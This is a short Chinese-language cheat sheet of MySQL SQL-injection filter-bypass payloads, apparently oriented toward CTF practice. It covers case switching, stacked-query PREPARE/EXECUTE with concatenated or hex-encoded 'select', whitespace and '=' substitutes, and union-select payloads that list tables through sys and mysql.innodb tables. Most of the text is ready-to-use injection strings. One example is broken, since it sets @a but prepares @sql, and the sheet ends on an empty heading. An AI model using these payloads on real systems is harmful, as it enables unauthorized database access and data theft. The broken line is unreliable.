大小写绕过

  1. or==>OR
  2. union==>UnIon

Select被过滤

select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况

  1. 预编译

    1. # 定义预处理语句
    2. PREPARE stmt_name FROM preparable_stmt;
    3. # 执行预处理语句
    4. EXECUTE stmt_name [USING @var_name [, @var_name] ...];
    5. # 预定义变量
    6. SET @a="xxxxxxx"

    当select被过滤时,可以通过构造:

    1. SET @a=CONCAT('se','lect * from `xxxxx`;');prepare stmt from @sql;execute stmt;#

    1. set @x=0x73656C656374202A2066726F6D207461626C65;prepare a from @x;execute a;

    其中0x73656C656374202A2066726F6D207461626C65就是select * from table的16进制。

    空格被过滤

  2. 使用注释符/**/

    1. select/**/columns/**/from/**/tables
  3. 使用括号()

    1. select(columns)from(tables)
  4. 使用%0D

    =被过滤

    使用like 、rlike 、regexp 或者 使用< 或者 >

    information被过滤

  5. sys.schema_auto_increment_columns

    1. -1' union select 1,(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),3 --+
  6. sys.schema_table_statistics_with_buffer

    1. ?id = -1' union select 1,(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),3 --+
  7. mysql.innodb_table_stats&mysql.innodb_index_stats

    1. select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
  8. 无列名注入

无列名注入